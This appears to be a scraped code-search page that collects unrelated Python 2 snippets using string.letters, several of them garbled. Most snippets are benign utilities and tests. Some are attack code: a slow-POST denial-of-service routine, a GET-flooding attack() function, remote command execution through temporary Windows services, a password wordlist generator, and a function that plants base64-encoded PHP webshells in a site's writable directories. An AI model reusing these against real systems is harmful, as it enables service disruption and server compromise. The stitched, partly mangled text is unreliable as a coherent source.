def _send_http_post(self, pause=10):
global stop_now
self.socks.send("POST / HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Connection: keep-alive\r\n"
"Keep-Alive: 900\r\n"
"Content-Length: 10000\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
(self.host, random.choice(useragents)))
for i in range(0, 9999):
if stop_now:
self.running = False
break
p = random.choice(string.letters+string.digits)
print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
self.socks.send(p)
time.sleep(random.uniform(0.1, 3))
self.socks.close()
python类letters()的实例源码
def upload_file(upload_file_name, temp):
# upload_file_name?????
# ??? saveas???
# ?????????,??git???saveas
#key = md5(str(time.time())+''.join(random.sample(string.letters, 12))).hexdigest()
# key ??????
print u"??????: ",
pic_name = raw_input()
uuid_6 = uuid.uuid4().get_hex()[:8] #?????
key = pic_name+"_"+uuid_6+".png"
copyfile(upload_file_name,join(saveas,key))
mime_type = 'image/png'
token = q.upload_token(bucket, key)
ret, info = put_file(token, key, upload_file_name, mime_type=mime_type, check_crc=True)
print 'upload qiniu result:', info
assert ret['key'] == key
assert ret['hash'] == etag(upload_file_name)
os.rename(upload_file_name, upload_file_name+'.old')
return domain+'/'+key
def attack():
ip = socket.gethostbyname( host )
global n
msg=str(string.letters+string.digits+string.punctuation)
data="".join(random.sample(msg,5))
dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
n+=1
dos.connect((ip, port))
dos.send( "GET /%s HTTP/1.1\r\n" % data )
print "\n "+time.ctime().split(" ")[3]+" "+"["+str(n)+"] #-#-# Hold Your Tears #-#-#"
except socket.error:
print "\n [ No connection! Server maybe down ] "
dos.close()
def str( number, radix ):
"""str( number, radix ) -- reverse function to int(str,radix) and long(str,radix)"""
if not 2 <= radix <= 36:
raise ValueError, "radix must be in 2..36"
abc = string.digits + string.letters
result = ''
if number < 0:
number = -number
sign = '-'
else:
sign = ''
while True:
number, rdigit = divmod( number, radix )
result = abc[rdigit] + result
if number == 0:
return sign + result
# never here because number >= 0, radix > 0, we repeat (number /= radix)
def ping(self, user, text = None):
"""Measure round-trip delay to another IRC client.
"""
if self._pings is None:
self._pings = {}
if text is None:
chars = string.letters + string.digits + string.punctuation
key = ''.join([random.choice(chars) for i in range(12)])
else:
key = str(text)
self._pings[(user, key)] = time.time()
self.ctcpMakeQuery(user, [('PING', key)])
if len(self._pings) > self._MAX_PINGRING:
# Remove some of the oldest entries.
byValue = [(v, k) for (k, v) in self._pings.items()]
byValue.sort()
excess = self._MAX_PINGRING - len(self._pings)
for i in xrange(excess):
del self._pings[byValue[i][1]]
def __executeRemote(self, data):
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
self.__serviceDeleted = False
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
self.__serviceDeleted = True
scmr.hRCloseServiceHandle(self.__scmr, service)
def make_wifipassword(args):
import random, string, hashlib
if args.password is None:
printable = string.digits + string.letters + string.punctuation
args.password = ''.join([random.choice(printable) for i in xrange(32)])
if args.password_id is None:
args.password_id = random.randint(0x0010, 0xFFFF)
pkhash = hashlib.sha256(args.pubkey.read()).digest()[0:20]
record = nfc.ndef.WifiPasswordRecord()
record.password['public-key-hash'] = pkhash
record.password['password-id'] = args.password_id
record.password['password'] = args.password
message = nfc.ndef.Message(record)
if args.outfile.name == "<stdout>":
args.outfile.write(str(message).encode("hex"))
else:
args.outfile.write(str(message))
def _insert(self, x, y, text):
""" Insert text at given x, y coordinates --- used with drag-and-drop. """
# Clean text.
import string
text = filter(lambda x: x in (string.letters + string.digits + string.punctuation + ' '), text)
# Find insertion point.
index, flags = self.HitTest((x, y))
if index == wx.NOT_FOUND:
if flags & wx.LIST_HITTEST_NOWHERE:
index = self.GetItemCount()
else:
return
# Get bounding rectangle for the item the user is dropping over.
rect = self.GetItemRect(index)
# If the user is dropping into the lower half of the rect, we want to insert _after_ this item.
if y > rect.y + rect.height/2:
index += 1
self.InsertStringItem(index, text)
def url_validator(key, data, errors, context):
''' Checks that the provided value (if it is present) is a valid URL '''
import urlparse
import string
model = context['model']
session = context['session']
url = data.get(key, None)
if not url:
return
pieces = urlparse.urlparse(url)
if all([pieces.scheme, pieces.netloc]) and \
set(pieces.netloc) <= set(string.letters + string.digits + '-.') and \
pieces.scheme in ['http', 'https']:
return
errors[key].append(_('Please provide a valid URL'))
def add_random_url_param(url):
random_param = '%s=%s' % (
utils.strings.randstr(
n = 4,
fixed = False,
charset = string.letters
),
utils.strings.randstr(
n = 10,
fixed = False
)
)
if '?' not in url:
url += '?%s' % random_param
else:
url += '&%s' % random_param
return url
def _broadcastScreen(self, fullscreen=''):
if self.vncserver is None:
import random
import string
pwdfile=os.path.expanduser('~/.config/epoptes/vncpasswd')
pwd=''.join(random.sample(string.letters + string.digits, 8))
subprocess.call(['x11vnc', '-storepasswd', pwd, pwdfile])
f=open(pwdfile)
pwd=f.read()
f.close()
self.pwd=''.join('\\%o' % ord(c) for c in pwd)
self.vncserverport = self.findUnusedPort()
self.vncserver = subprocess.Popen(['x11vnc', '-noshm', '-nopw',
'-quiet', '-viewonly', '-shared', '-forever', '-nolookup',
'-24to32', '-threads', '-rfbport', str(self.vncserverport),
'-rfbauth', pwdfile])
# Running `xdg-screensaver reset` as root doesn't reset the D.E.
# screensaver, so send the reset command to both epoptes processes
self.execOnSelectedClients(['reset_screensaver'],
mode=EM_SYSTEM_AND_SESSION)
self.execOnSelectedClients(["receive_broadcast", self.vncserverport,
self.pwd, fullscreen], mode=EM_SYSTEM_OR_SESSION)
def _random_string(length = None, allowed_chars = None):
'''
Generate a random string of the given length.
:param length: length of the string (defaults to settings.NONCE_LENGTH)
:rtype length: int
:param allowed_chars: characters to allow in string
:rtype allowed_chars: str
:return: generated string
:rtype: str
'''
if allowed_chars is None:
try:
allowed_chars = string.letters
except AttributeError:
allowed_chars = string.ascii_letters
if length is None:
length = settings.NONCE_LENGTH
s = ''.join(random.choice(allowed_chars) for _ in range(length))
return s
def createKmsRequestBase():
requestDict = kmsBase.kmsRequestStruct()
requestDict['versionMinor'] = config['KMSProtocolMinorVersion']
requestDict['versionMajor'] = config['KMSProtocolMajorVersion']
requestDict['isClientVm'] = 0
requestDict['licenseStatus'] = config['KMSClientLicenseStatus']
requestDict['graceTime'] = 43200
requestDict['applicationId'] = UUID(uuid.UUID(config['KMSClientAppID']).bytes_le)
requestDict['skuId'] = UUID(uuid.UUID(config['KMSClientSkuID']).bytes_le)
requestDict['kmsCountedId'] = UUID(uuid.UUID(config['KMSClientKMSCountedID']).bytes_le)
requestDict['clientMachineId'] = UUID(uuid.UUID(config['cmid']).bytes_le if (config['cmid'] is not None) else uuid.uuid4().bytes_le)
requestDict['previousClientMachineId'] = '\0' * 16 #requestDict['clientMachineId'] # I'm pretty sure this is supposed to be a null UUID.
requestDict['requiredClientCount'] = config['RequiredClientCount']
requestDict['requestTime'] = filetimes.dt_to_filetime(datetime.datetime.utcnow())
requestDict['machineName'] = (config['machineName'] if (config['machineName'] is not None) else ''.join(random.choice(string.letters + string.digits) for i in range(random.randint(2,63)))).encode('utf-16le')
requestDict['mnPad'] = '\0'.encode('utf-16le') * (63 - len(requestDict['machineName'].decode('utf-16le')))
# Debug Stuff
logging.debug("Request Base Dictionary: %s" % requestDict.dump())
return requestDict
def is_base64_encoded(sample):
'''
Check if a sample is likely base64-encoded
sample - (string) The sample to evaluate
'''
base64chars = string.letters + string.digits + string.whitespace
base64chars += '/+='
# Turns out a lot of crazy things will b64-decode happily with
# sample.decode('base64'). This is the fix.
if any([char not in base64chars for char in sample]):
return False
try:
sample.decode('base64')
return True
except:
return False
def setword(self): # selects word and places it in appropriate position
i[0] = 0
self.guessed = []
if len(self.words) > 0:
self.currentword = self.words.pop()
else:
gameover(1, self.words)
while len(self.currentword) > 11:
self.currentword = self.words.pop()
self.theword.config(text='_ ' * len(self.currentword))
for l in self.letters.values(): # #color of letters in letter box
l.config(fg='white')
self.update()
def __executeRemote(self, data):
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
self.__serviceDeleted = False
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
self.__serviceDeleted = True
scmr.hRCloseServiceHandle(self.__scmr, service)
def ping(self, user, text = None):
"""Measure round-trip delay to another IRC client.
"""
if self._pings is None:
self._pings = {}
if text is None:
chars = string.letters + string.digits + string.punctuation
key = ''.join([random.choice(chars) for i in range(12)])
else:
key = str(text)
self._pings[(user, key)] = time.time()
self.ctcpMakeQuery(user, [('PING', key)])
if len(self._pings) > self._MAX_PINGRING:
# Remove some of the oldest entries.
byValue = [(v, k) for (k, v) in self._pings.items()]
byValue.sort()
excess = self._MAX_PINGRING - len(self._pings)
for i in xrange(excess):
del self._pings[byValue[i][1]]
def _create_group(self, user, name = None, throw_web = False): # {{{2
""" create a user either on the API or using the web and email """
self.assertTrue( isinstance( user, User ) )
if name is None:
chars = string.letters # you can append: + string.digits
name = ''.join( [ choice(chars) for i in xrange(8) ] )
if not throw_web:
group = Group.objects.create(name = name)
Membership.objects.create(user = user, group = group)
return group
else:
self.assertTrue( user.is_active )
login = self.client.login(
username = user.username, password = 'p' )
self.assertTrue( login )
response = self.client.post ( reverse('group_new'),
{'name': name, 'description': u'create_group'} )
self.assertEqual( response.status_code, 302 )
return Group.objects.get(name = name)
def Gen_Dict():
ch=str(raw_input( Fore.CYAN +"Want to enter custom charset??(Enter y or n): "+Fore.RESET))
if ch == 'y':
charset=str(raw_input( Fore.CYAN +"Enter custom charset: "+Fore.RESET))
elif ch == 'n':
charset=string.letters[0:26]
min_length=int(input( Fore.CYAN +"Enter min passwd length: "+Fore.RESET))
max_length=int(input( Fore.CYAN +"Enter max passwd length: "+Fore.RESET))
f=open("tempwlist","w")
count=0
for wordlen in range(min_length,max_length+1):
for word in listwords(charset,wordlen):
f.write(word+'\n')
count+=1
print Fore.GREEN+"\nDictionary created with %s words....\n" %count + Fore.RESET
f.close()
def readColor(text):
"""Read color names or tuples, RGB or CMYK, and return a Color object."""
if not text:
return None
from reportlab.lib import colors
from string import letters
if text[0] in letters:
return colors.__dict__[text]
tup = lengthSequence(text)
msg = "Color tuple must have 3 (or 4) elements for RGB (or CMYC)."
assert 3 <= len(tup) <= 4, msg
msg = "Color tuple must have all elements <= 1.0."
for i in range(len(tup)):
assert tup[i] <= 1.0, msg
if len(tup) == 3:
colClass = colors.Color
elif len(tup) == 4:
colClass = colors.CMYKColor
return colClass(*tup)
def auto_inject_phpfile(self, filename, webshell_content):
Log.info("Auto injecting : [%s] => [%s]" % (filename, repr(webshell_content)))
Log.info("Code : [%s]" % (repr(webshell_content)))
Log.info("Length : [%d]" % (len(webshell_content)))
Log.info("Getting writable dirs...")
writable_dirs = self.get_writable_directory()
urls = []
if len(writable_dirs) == 0:
Log.error("No writable dirs...")
return False
else:
for writable_dir in writable_dirs:
writable_dir += "/"
filename = ".%s.php" % (random_string(16, string.letters + string.digits))
Log.info("Writing [%s] into : [%s]" % (repr(webshell_content), writable_dir))
php_code = "file_put_contents('%s',base64_decode('%s'));" % ("%s/%s" % (writable_dir, filename), webshell_content.encode("base64").replace("\n",""))
self.php_code_exec(php_code)
base_url = "%s%s" % ("".join(["%s/" % (i) for i in self.url.split("/")[0:3]]), writable_dir.replace("%s" % (self.webroot), ""))
webshell_url = ("%s%s" % (base_url, filename)).replace("//", "/").replace("https:/", "https://").replace("http:/", "http://")
with open("Webshell.txt", "a+") as f:
log_content = "%s => %s\n" % (webshell_url, repr(webshell_content))
f.write(log_content)
urls.append(webshell_url)
return urls
def _add_default_app_integration_args(app_integration_parser, clusters):
"""Add the default arguments to the app integration parsers"""
# App integration cluster options
app_integration_parser.add_argument(
'--cluster', choices=clusters, required=True, help=ARGPARSE_SUPPRESS)
# Validate the name being used to make sure it does not contain specific characters
def _validate_name(val):
"""Validate acceptable inputs for the name of the function"""
acceptable_chars = ''.join([string.digits, string.letters, '_-'])
if not set(str(val)).issubset(acceptable_chars):
raise app_integration_parser.error('Name must contain only letters, numbers, '
'hyphens, or underscores.')
return val
# App integration name to be used for this instance that must be unique per cluster
app_integration_parser.add_argument(
'--name', dest='app_name', required=True, help=ARGPARSE_SUPPRESS, type=_validate_name)
# Allow verbose output for the CLI with the --debug option
app_integration_parser.add_argument('--debug', action='store_true', help=ARGPARSE_SUPPRESS)
def autolink(text, trim_url_limit=None, nofollow=False):
"""
Converts any URLs in text into clickable links. Works on http://, https:// and
www. links. Links can have trailing punctuation (periods, commas, close-parens)
and leading punctuation (opening parens) and it'll still do the right thing.
If trim_url_limit is not None, the URLs in link text will be limited to
trim_url_limit characters.
If nofollow is True, the URLs in link text will get a rel="nofollow" attribute.
"""
trim_url = lambda x, limit=trim_url_limit: limit is not None and (x[:limit] + (len(x) >=limit and '...' or '')) or x
words = word_split_re.split(text)
nofollow_attr = nofollow and ' rel="nofollow"' or ''
for i, word in enumerate(words):
match = punctuation_re.match(word)
if match:
lead, middle, trail = match.groups()
if middle.startswith('www.') or ('@' not in middle and not middle.startswith('http://') and not middle.startswith('https://') and \
len(middle) > 0 and middle[0] in string.letters + string.digits and \
(middle.endswith('.org') or middle.endswith('.net') or middle.endswith('.com'))):
middle = '<a href="http://%s"%s target="_blank">%s</a>' % (middle, nofollow_attr, trim_url(middle))
if middle.startswith('http://') or middle.startswith('https://'):
middle = '<a href="%s"%s target="_blank">%s</a>' % (middle, nofollow_attr, trim_url(middle))
if '@' in middle and not middle.startswith('www.') and not ':' in middle \
and simple_email_re.match(middle):
middle = '<a href="mailto:%s">%s</a>' % (middle, middle)
if lead + middle + trail != word:
words[i] = lead + middle + trail
return ''.join(words)
# auto convert img.ly/abcd links to image tags
def randomStr(length=5):
"""
@param length: length of the random string.
@type length: C{int}
@return: a random string of characters.
@rtype: C{str}
"""
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
def __init__(self, *args, **kw):
global ttyFont, fontHeight, fontWidth
ttyFont = tkFont.Font(family = 'Courier', size = 10)
fontWidth, fontHeight = max(map(ttyFont.measure, string.letters+string.digits)), int(ttyFont.metrics()['linespace'])
self.width = kw.get('width', 80)
self.height = kw.get('height', 25)
self.callback = kw['callback']
del kw['callback']
kw['width'] = w = fontWidth * self.width
kw['height'] = h = fontHeight * self.height
Tkinter.Frame.__init__(self, *args, **kw)
self.canvas = Tkinter.Canvas(bg='#000000', width=w, height=h)
self.canvas.pack(side=Tkinter.TOP, fill=Tkinter.BOTH, expand=1)
self.canvas.bind('<Key>', self.keyPressed)
self.canvas.bind('<1>', lambda x: 'break')
self.canvas.bind('<Up>', self.upPressed)
self.canvas.bind('<Down>', self.downPressed)
self.canvas.bind('<Left>', self.leftPressed)
self.canvas.bind('<Right>', self.rightPressed)
self.canvas.focus()
self.ansiParser = ansi.AnsiParser(ansi.ColorText.WHITE, ansi.ColorText.BLACK)
self.ansiParser.writeString = self.writeString
self.ansiParser.parseCursor = self.parseCursor
self.ansiParser.parseErase = self.parseErase
#for (a, b) in colorMap.items():
# self.canvas.tag_config(a, foreground=b)
# self.canvas.tag_config('b'+a, background=b)
#self.canvas.tag_config('underline', underline=1)
self.x = 0
self.y = 0
self.cursor = self.canvas.create_rectangle(0,0,fontWidth-1,fontHeight-1,fill='green',outline='green')
def populateDB(self, d):
for x in string.letters:
d[self.mk('S' + x)] = 10 * x # add a string
d[self.mk('I' + x)] = ord(x) # add an integer
d[self.mk('L' + x)] = [x] * 10 # add a list
inst = DataClass() # add an instance
inst.S = 10 * x
inst.I = ord(x)
inst.L = [x] * 10
d[self.mk('O' + x)] = inst
# overridable in derived classes to affect how the shelf is created/opened
def test01_get_returns_none(self):
d = db.DB()
d.open(self.filename, db.DB_BTREE, db.DB_CREATE)
d.set_get_returns_none(1)
for x in string.letters:
d.put(x, x * 40)
data = d.get('bad key')
self.assertEqual(data, None)
data = d.get(string.letters[0])
self.assertEqual(data, string.letters[0]*40)
count = 0
c = d.cursor()
rec = c.first()
while rec:
count = count + 1
rec = c.next()
self.assertEqual(rec, None)
self.assertEqual(count, len(string.letters))
c.close()
d.close()
def test02_get_raises_exception(self):
d = db.DB()
d.open(self.filename, db.DB_BTREE, db.DB_CREATE)
d.set_get_returns_none(0)
for x in string.letters:
d.put(x, x * 40)
self.assertRaises(db.DBNotFoundError, d.get, 'bad key')
self.assertRaises(KeyError, d.get, 'bad key')
data = d.get(string.letters[0])
self.assertEqual(data, string.letters[0]*40)
count = 0
exceptionHappened = 0
c = d.cursor()
rec = c.first()
while rec:
count = count + 1
try:
rec = c.next()
except db.DBNotFoundError: # end of the records
exceptionHappened = 1
break
self.assertNotEqual(rec, None)
self.assertTrue(exceptionHappened)
self.assertEqual(count, len(string.letters))
c.close()
d.close()
#----------------------------------------------------------------------
def make_salt(length=5):
return ''.join(random.choice(letters) for x in xrange(length))
# implement hashing
def random_string(length, alphabet=string.letters + string.digits):
return "".join(random.choice(alphabet) for _ in range(length))